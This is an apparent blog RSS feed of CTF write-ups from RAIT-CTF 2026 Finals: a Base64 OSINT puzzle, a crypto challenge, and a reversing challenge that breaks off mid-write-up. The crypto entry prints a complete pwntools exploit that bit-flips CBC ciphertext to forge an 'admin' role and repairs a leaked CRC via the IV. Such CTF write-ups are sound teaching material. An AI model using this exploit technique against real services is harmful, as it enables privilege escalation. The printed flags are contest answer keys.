<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss/feed.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Shubh&apos;s Corner</title><description>Code, Create, Repeat</description><link>https://shubhsec.dev</link><item><title>RAIT-CTF Sanity Check – Core Team Signal</title><link>https://shubhsec.dev/post/writeups/rait-ctf-sanity-check-core-team-signal</link><guid isPermaLink="false">writeups/rait-ctf-sanity-check-core-team-signal</guid><description>Writeup for RAIT-CTF Sanity Check – Core Team Signal from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Sanity Check – Core Team Signal&lt;a href=&quot;#rait-ctf-sanity-check--core-team-signal&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{S4NI7Y_CH3CK_7HR0UGH_C0R3_734M_D0N3}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;1. OSINT Collection&lt;a href=&quot;#1-osint-collection&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;By performing basic recon on the RAIT-CTF Core Team, we can find Base64 fragments hidden inside the LinkedIn biographies of four members (Harsh, Chandan, Mrridul, Hrishraj):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;UGFydDE6IFJBSVQtQ1RGe1M0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UGFydDI6IE5JN1lfQ0gzQ0s=&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UGFydDM6IF83SFIwVUdIX0Mw&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UGFydDQ6IFIzXzczNE1fRDBOM30=&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. Decoding the Fragments&lt;a href=&quot;#2-decoding-the-fragments&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decoding each Base64 fragment gives us the labelled parts of the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;UGFydDE6IFJBSVQtQ1RGe1M0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;→ Part1: RAIT-CTF{S4&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;UGFydDI6IE5JN1lfQ0gzQ0s=&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;→ Part2: NI7Y_CH3CK&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;UGFydDM6IF83SFIwVUdIX0Mw&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;→ Part3: _7HR0UGH_C0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;UGFydDQ6IFIzXzczNE1fRDBOM30=&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;→ Part4: R3_734M_D0N3}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Assembly&lt;a href=&quot;#3-assembly&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Putting Part 1 → Part 2 → Part 3 → Part 4 together in the correct order gives us the final flag:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RAIT-CTF{S4NI7Y_CH3CK_7HR0UGH_C0R3_734M_D0N3}&lt;/code&gt;&lt;/p&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Misc</category></item><item><title>RAIT-CTF Finals Crypto 1 - Secure Shell</title><link>https://shubhsec.dev/post/writeups/rait-ctf-finals-crypto-1-secure-shell</link><guid isPermaLink="false">writeups/rait-ctf-finals-crypto-1-secure-shell</guid><description>Writeup for RAIT-CTF Finals Crypto 1 - Secure Shell from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Finals Crypto 1 - Secure Shell&lt;a href=&quot;#rait-ctf-finals-crypto-1---secure-shell&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{crC32_1snT_4uTh_mY_dUd3}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;1. Connection and Bit-Flipping Exploit&lt;a href=&quot;#1-connection-and-bit-flipping-exploit&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To retrieve the flag, we need to bypass the security mechanism using a bit-flipping attack and a CRC mismatch leak.
Run the below Python exploit script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; pwn &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; binascii&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; struct&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; re&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Configuration&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;34.0.14.121&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;PORT&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 9950&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; xor_bytes&lt;/span&gt;&lt;span&gt;(b1, b2):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; bytes&lt;/span&gt;&lt;span&gt;(a &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; b &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; a, b &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; zip&lt;/span&gt;&lt;span&gt;(b1, b2))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; solve&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 1. Connect and Login&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; remote(&lt;/span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;PORT&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;User Login : &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;user1&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 2. Inject the &apos;get_flag&apos; command into history&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[*] Injecting target command...&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;3&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;$ &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;get_flag&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.recvuntil(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;OUT: Only Admin can run this&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 3. Retrieve the encrypted history entry&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;2&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.recvuntil(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;[0] &quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    history_entry &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; r.recvline().strip().decode()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[+] Encrypted History: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;history_entry&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    data &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; bytearray&lt;/span&gt;&lt;span&gt;(binascii.unhexlify(history_entry))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 4. Perform Bit-Flipping on Ciphertext Block 0 to change &apos;guest&apos; to &apos;admin&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # &apos;guest&apos; is at offset 10 inside the JSON payload.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # JSON payload starts at Block 1.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # To modify Block 1 plaintext, we XOR Block 0 ciphertext.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # Block 0 starts at index 16 (first 16 bytes are IV).&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    offset_in_block &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 10&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    block0_start &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 16&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    original_text &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; b&lt;/span&gt;&lt;span&gt;&quot;guest&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    target_text   &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; b&lt;/span&gt;&lt;span&gt;&quot;admin&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    xor_mask &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; xor_bytes(original_text, target_text)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(xor_mask)):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        data[block0_start &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; offset_in_block &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; i] &lt;/span&gt;&lt;span&gt;^=&lt;/span&gt;&lt;span&gt; xor_mask[i]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 5. Send the corrupted payload to leak the correct CRC&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    bad_payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; binascii.hexlify(data).decode()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;4&quot;&lt;/span&gt;&lt;span&gt;)      &lt;/span&gt;&lt;span&gt;# Restore History&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, bad_payload.encode())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;3&quot;&lt;/span&gt;&lt;span&gt;)      &lt;/span&gt;&lt;span&gt;# Execute Command&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;$ &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;!1&quot;&lt;/span&gt;&lt;span&gt;)     &lt;/span&gt;&lt;span&gt;# Execute index 0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # Catch the error message&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    response &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; r.recvline().decode().strip()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; &quot;Integrity Error&quot;&lt;/span&gt;&lt;span&gt; not&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; response:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[-] Failed to trigger integrity error. Response: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;response&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[+] Leak received: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;response&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # Regex parsing&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    match &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; re.search(&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;CRC Mismatch : &lt;/span&gt;&lt;span&gt;(\d&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; Expected &lt;/span&gt;&lt;span&gt;(\d&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, response)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; match:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        bad_crc &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;(match.group(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        good_crc &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;(match.group(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[-] Could not parse CRC values.&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[+] Bad CRC: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;bad_crc&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; | Target CRC: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;good_crc&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 6. Fix the IV to make the CRC match&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # The CRC is in the first 4 bytes of the plaintext.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # P_0 = Decrypt(C_0) ^ IV.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # We modify IV to force P_0 to be the correct CRC.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    bad_crc_bytes &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; struct.pack(&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span&gt;, bad_crc)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    good_crc_bytes &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; struct.pack(&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span&gt;, good_crc)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    crc_fix_mask &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; xor_bytes(bad_crc_bytes, good_crc_bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # Apply to the first 4 bytes (the IV)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        data[i] &lt;/span&gt;&lt;span&gt;^=&lt;/span&gt;&lt;span&gt; crc_fix_mask[i]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    final_payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; binascii.hexlify(data).decode()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[+] Final Payload: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;final_payload&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 7. Send Final Payload and Get Flag&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;4&quot;&lt;/span&gt;&lt;span&gt;)      &lt;/span&gt;&lt;span&gt;# Restore History&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, final_payload.encode())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;3&quot;&lt;/span&gt;&lt;span&gt;)      &lt;/span&gt;&lt;span&gt;# Execute Command&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;$ &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;!1&quot;&lt;/span&gt;&lt;span&gt;)     &lt;/span&gt;&lt;span&gt;# Run it!&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # Interactive shell to view flag&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.interactive()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; __name__&lt;/span&gt;&lt;span&gt; ==&lt;/span&gt;&lt;span&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    solve()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Result&lt;a href=&quot;#2-result&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Running the exploit modifies the token context to &lt;code&gt;admin&lt;/code&gt; and repairs the CRC signature. The service will return the target flag:
&lt;code&gt;RAIT-CTF{crC32_1snT_4uTh_mY_dUd3}&lt;/code&gt;&lt;/p&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Crypto</category></item><item><title>RAIT-CTF Finals Reverse 1 - Runner</title><link>https://shubhsec.dev/post/writeups/rait-ctf-finals-reverse-1-runner</link><guid isPermaLink="false">writeups/rait-ctf-finals-reverse-1-runner</guid><description>Writeup for RAIT-CTF Finals Reverse 1 - Runner from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Finals Reverse 1 - Runner&lt;a href=&quot;#rait-ctf-finals-reverse-1---runner&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{M4ze_Runn3r_Pr0_Ed1t10n_1337}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;Step 1: Service Interaction&lt;a href=&quot;#step-1-service-interaction&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Connect to the challenge service using netcat:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;nc&lt;/span&gt;&lt;span&gt; 34.0.14.121&lt;/span&gt;&lt;span&gt; 9952&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The service runs a stripped 64-bit ELF binary that validates user input through a custom stack-based virtual machine.&lt;/p&gt;
&lt;h3&gt;Step 2: VM &amp;amp; Maze Reverse Engineering&lt;a href=&quot;#step-2-vm--maze-reverse-engineering&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Static analysis of the binary reveals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A custom VM interpreter in the &lt;code&gt;.text&lt;/code&gt; section.&lt;/li&gt;
&lt;li&gt;Embedded bytecode in &lt;code&gt;.data&lt;/code&gt; initializing a maze.&lt;/li&gt;
&lt;li&gt;A 25x26 maze stored in a flat memory region starting at address &lt;code&gt;0x1000&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Movement controlled via single-character inputs (&lt;code&gt;R&lt;/code&gt;, &lt;code&gt;L&lt;/code&gt;, &lt;code&gt;U&lt;/code&gt;, &lt;code&gt;D&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Invalid moves (wall/bounds) immediately halt execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 3: Maze Reconstruction&lt;a href=&quot;#step-3-maze-reconstruction&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The bytecode initializes wall cells using repeated &lt;code&gt;PUSH_IMM32&lt;/code&gt; → &lt;code&gt;STORE_MAZE&lt;/code&gt; instructions. By mapping flat memory indices with a stride of 26, the maze grid is reconstructed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Start position:&lt;/strong&gt; (0, 0)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Goal position:&lt;/strong&gt; (22, 22)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Row 23:&lt;/strong&gt; Full wall boundary preventing bypass&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 4: Valid Move Sequence&lt;a href=&quot;#step-4-valid-move-sequence&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The correct path through the maze is:&lt;/p&gt;
